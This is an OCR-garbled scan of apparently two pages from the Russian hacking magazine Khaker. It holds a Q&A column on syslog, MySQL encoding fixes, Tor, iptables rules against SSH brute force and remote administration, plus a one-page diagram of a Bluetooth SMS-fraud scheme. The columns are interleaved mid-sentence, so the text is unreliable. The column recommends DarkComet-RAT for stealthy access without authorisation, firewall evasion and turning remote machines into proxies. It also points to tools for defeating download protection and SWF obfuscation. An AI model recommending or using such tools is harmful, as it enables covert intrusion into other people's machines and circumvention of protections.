syslog-cepвиc. Надо лишь выбрать тип событий,

разных ОС, которые занимаются тем, что пере­

ляет классный веб-интерфейс для поиска инте­

которые нас интересуют, и указать адрес основ­

дают журнальные события. Для

ресующих сообщений и выполнения различного

ного и запасного syslog-cepвepoв.

выбрать Snaгe Ageпt.

в единую строку и отправляет их на удаленный

ХАКЕР

Windows лучше

12/155/20 11

www.epidemz.net

рода анализа.


UNITS/ FAQ UNITED

Антон

надо поместить этот код в конфиг

или файл

r.1

Apache'a

при пере ходе с одного сервера [у которого

.htaccess.

ЕСТЬ ЗАДАЧА. МНЕ НЕОБХОДИМО

«ant» Жук о в

ПРОБИТЬСЯ К НИМ БЫЛО НЕВОЗМОЖНО .

установлена дефолтная кодировка ср1251, в

ЕСТЬ ЛИ КАКАЯ-НИБУДЬ СОФТИН КА ДЛЯ

частности , так сделано в Денвере) на другой [у которого стоитстандартнаякодировка

УДАЛЕННОГО АДМИНИСТРИРОВАНИЯ,

. . . РАСПРОСТРАНЯТЬ ДИСТРИБУТИВ

latin1) .

СВОЕГО [JРИЛОЖЕНИЯ , КОТОРЫЙ ИМЕЕТ ДОВОЛЬНО УВЕСИСТЫЙ РАЗМЕР [2 ГБ).

Пофиксить ба г- не проблема. Для пре­

ОБХОДЯЩАЯ ФАЙРВОЛЫ?

n

Первое, что приходит на ум,-

181

TeamVieweг и Chгome Remote Desktop,

ХОСТИТЬ ЕГО НА СВОИХ СЕРВЕРАХ ИЛИ

образования нам понадобится

ОБЛАКЕ- БЕЗУМИЕ. В ПЕРВОМ СЛУЧАЕ

[ sypex.пet ). На вкладке << Экспорт >> выбираем

Стоит также отметить программу DaгkComet­

НЕ ХВАТИТ РЕСУРСОВ, ВО ВТОРОМ­

н уж ные таблицы, а тип кодировки-

RAT [ www . daгkcomet-гat . com ), позволяющую

ДЕНЕГ. ЕСТЬ ЛИ ЕЩЕ ВАРИАНТЫ?

Нажимаем <<Выполнить>> и таким образом

n

Пожалуй , лучшее, что можно приду-

181

мать в такой ситуации,- это задей­

Sype x Dumpeг << auto>>.

появившийся недавно в браузере от

Google .

незаметно подключиться к уда л енной

получаем резервную копию БД. Далее пере­

машине, вообще не требуя какой-либо

хо дим на вкладку << Импорт >>, выбираем только

авторизации.

Если на удаленной машине запущен

что с деланный файл бэкапа, указываем коди­

ствовать для раздачи дистрибутива самих

ровку <<с р1251 >>, помечаем опцию << Коррекция

браузер, то сервер DaгkComet-RAT может вне­

пользователей . Т. е. использовать Р2Р­

кодировки>>. Готово!

дриться в него для обхода правил файрвола.

Стоит отметить, что есть еще одна в по­

принцип, например торренты . Нет-нет, я не

Кроме того, утилита позволяет использовать

следнее время набирающая популярность

удаленные компьютеры в качестве SОСК55-

тива предлагать пользователям скачать.

проблема, в связи с повальным увлечением

прокси , при этом передаваемый между

tоггеnt-файл [хотя это тоже вариант).

UTF-8 . Создатели софта стали переводить свои детища на UTF-8, но и тут не все так

клие нтской и серверной частями трафик

гладко, как хотелось бы. Возникает слож­

только для добры х дел:).

рекомендую вместо нормального дистрибу­

Идея в том, чтобы создать установщик ,

который имеет небольшой размер, но вклю­ чает в себя встроенный торрент-клиент, с

ность, когда у таблиц указ ана кодировка

помощью которого можно автоматически

UTF-8,

и быстро выкачать полный объем новой

сое динения установлена по умолчанию

версии дистрибутива . Тут я особенно

В результате в

рекомендую сервис Тоггепt2ехе. соm - он

в

как раз позволяет преобразовать .toггe nt в

сое динения

исполняемый файл со встроенным торрент­

разовать данные из

данные -тоже в

UTF-8,

MySQL

UTF-8,

но кодировка

latin1.

присылаются данные

но посколь ку указа на кодировка

latin1,

то

MySQL пытается latin1 в UTF-8 .

преоб­

11 [ dгp.su/гu ) ,

у которого инсталлятор построен именн о на

r.1

ХОЧУ В НЕКОТОРЫХ СЛУЧАЯХ

. . . ИСПОЛЬЗОВАТЬ TOR . НО НЕ ПУСКАТЬ ЧЕРЕЗ НЕГО ВЕСЬ ТРАФИК [ЭТО О-О-ОЧЕНЬ МЕДЛЕННО), А НАСТРОИТЬ БЕЗОПАСНУЮ И АНОНИМНУЮ РАБОТУ ТОЛЬКО ДЛЯ СТРОГО ОПРЕДЕЛЕННЫХ

ПРИЛОЖЕН ИЙ.

клиентом. В качестве nримера могу приве­

сти проект DгiveгPack Solutioп

шифруется. Так что ее можно использовать не

r.1

КАК БЛОКИРОВАТЬ ПОПЫТКИ

. . . БЛОКИРОВКИ ПОПЫТОК

8':'11

Можно использовать тот же самый

принцип , что и при соксофикации

основе Тоггеnt2ехе. Еще бы: размер дистри­

БР УТФО РСА SSH-ДEMOHA,

181

бутива- чуть меньше

ЗАПУЩЕННОГО НА LINUX-MAWИHE?

приложений- только пускать трафик

r.1

3 Гб.

НЕД~ВНО НАТКНУЛСЯ НА НУЖНЫЕ

приложения не через

n

в этой ситуации, как и во многих

других, спасет старый добрый iptaЫes.

. . . СЛАИДЫ НА SLIDESHARE, НО

181

С КАЧАТЬ ИХ НЕЛЬЗЯ. КАК БЫТЬ?

Итак, прописываем несколько новы х правил:

n

Авторы частенько заnрещают

iptaЬles

довольно раздражает. Но одному человеку

iptaЬles

SOCKS,

а через Тог-сеть.

Поможет в этом утилита Toгsocks lcode.google . com/p/toгsocks ):

$ usewithtor [application)

181

загрузку своих презентаций, что

это очень не понравилось, и он написал

INPUT DROP где applicatioп- имя приложения , которое

INPUT -m state --state \ ESTABLISHED,RELATED -j АССЕРТ

будет работать через Тог.

INPUT -р tcp -m tcp \ --dport 22 -m state --state NEW \ -m recent --set --name SSH

so me.ssh.com,

Ьаsh-скриnтик, с nомощью которого подобная защита обходится на раз-два.

Сценарий всем доступен на

GitHub 'e [~

gist.github.com/1129974).

r.1

У МЕНЯ ПРОБЛЕМА С КОДИРОВКОЙ

Или сложнее. Предположим , по iptaЬles

ssh

$ usewithtor ssh username@ some.ssh.com Увы, под винду пока такой утилиты я не

НА САЙТЕ ВСЕ ОТОБРАЖАЕТСЯ

-А INPUT -р tcp -m tcp \ --dport 22 -m state --state NEW \ -m recent --update --seconds 68 \ --hitcount 4 --rttl --name SSH \

НОРМАЛЬНО. В ЧЕМ ПРОБЛЕМА?

-j DROP

. . . ТО ОБРАЗОМ ОБФУСЦИРОВАН,

INPUT -р tcp -m tcp \ --dport 22 -m state --state NEW \

ДЕКОМПИЛЯЦИИ .

. . . В БД. ВМЕСТО НОРМАЛЬНОГО ТЕКСТА ВЫВОДЯТСЯ КРАКОЗЯБРЫ.

n

iptaЬles

ср1251, а у таблиц указана кодировка по

умолчанию

latin1 . Это

самая распространен­

iptaЬles

-j

АССЕРТ

r.1

С этого момента попытки брутфорса будут

щих случаях:

фиксироваться, а заблокированные адреса

при неграмотнам обновлении с версии

MySQL меньше 4.1

сохранятся в файле /pгoc/пet/ipt_гecent/SS H.

на более новые;

в работе в << буржуйских» скриптов, которых

n

ЕСТЬ SWF-ФАЙЛ, КОТОРЫЙ КАКИМ­

Советую попробовать проект аsЗ-ргоху

181

ная причина. Ситуация возникает в следую­

нашел.

ЧТОБЫ ПРЕПЯТСТВОВАТЬ ЕГО

Скорее всего, данные в кодировке

181

к

и завернуть этот трафик в Тог:

[ github . com/alun/asЗ-pгoxy l . Он основан

на фреймварке-оптимизаторе

Аррагаt lc ode.google . com/p/appaгat ) и зачастую позволяет сломать используемую

защиту без проблем .

r.1

ДОВОЛЬНО ЧАСТО ПРИХОДИТСЯ

К тому же сами декомпиляторы серьезно

. . . ПОМОГАТЬ ДРУЗЬЯМ С НАСТРОЙКОЙ

развиваются , в них встраиваются алгоритмы

и они «з абывают >>, что неплохо бы указывать

КОМПЬЮТЕРА ПО СЕТИ . ИНОГДА

для обхода типичных вариантов обфусциро­

кодировку как таблиц, так и соединения;

СЛУЧАЛОСЬ, ЧТО ИЗ-ЗА ФАЙРВОЛОВ

вать код.

вполнеустраиваеткодировкапоумолчанию,

I

ХАКЕР

11о2

www.epidemz.net

12/155/2011


.UNITS/ПPOЦECC

Газель+

Bluetooth= развод через SMS ТЕЛЕФОНЫ С ВКЛЮЧЕННЫМ ВТ

ЛЮДНОЕ МЕСТО

В центр е мони тор и нга одного из операторов сотовой связи обна­ ружили странную активность. Клиенты из одного и того же места в горо де неожиданно начали отправлятьSМS на неко торый плат­

ный номер . Слож но объяснимая си туация о к азалась примерам изящного мошенничества, от которого пострадали тысячи людей .

УДАЛЕННОЕ ПОДКЛЮЧЕНИЕ ЧЕРЕЗ TEAMVIEWER

/WI - FI

4G -

мо д ем

вт- модуль

1 1 1 1 1 1 1 1 1

1 1 1

.·· ..........

........ J

.· .·

............

............

1

В людном месте была припаркована

·..

SMS

·.

'

2

газель с несколькими антеннами на

крыше . Сканируя эфир

·. ·.

Bluetooth,

с пециальный ноутбук отправлял

запро с на установку связи (paiгiпg) всем обнаруженным устройствам. Ничего не п од озревая, люди часто

. .........

5555 ····.... ПЛАТНЫЙ НОМЕР

соглашались принять подключение .

•• •• •

··. ·.

2

·. ·.

С помощью установленного

·.. ·.

··....... . .... о

соединения злоумышленники

о

передавали на телефоны жертв

3

последовательность АТ -команд,

отправляющую SМS-сообщения на платный номер . Чтобы не потерять связь, использовались мощные

Bluetooth-a нтенн ы.

3

'

Платный номер был аре ндован

Дл я удаленного управления ноутбу­

злоумышленниками для вывода

ками, с помощью которых прово­

денегчерезподставныхли~Номер

дилась атака, злоумышленники

намеренно был выбран максималь­

использовали TeamVieweг. В газели

но << дешевым >>, чтобы жертвы не

находилисьлишь мало что пони­

обращали вниманиенанебольшое

мающие исполнитель и водитель .

изменениесвоего бала н са.

Они были арестованы. Организатор

ОРГАНИЗАТОР СХЕМЫ

схемы пока на с в ободе.

ХАКЕР

www.epidemz.net

11 /15 4/2 011


Issuu converts static files into: digital portfolios, online yearbooks, online catalogs, digital photo albums and more. Sign up and create your flipbook.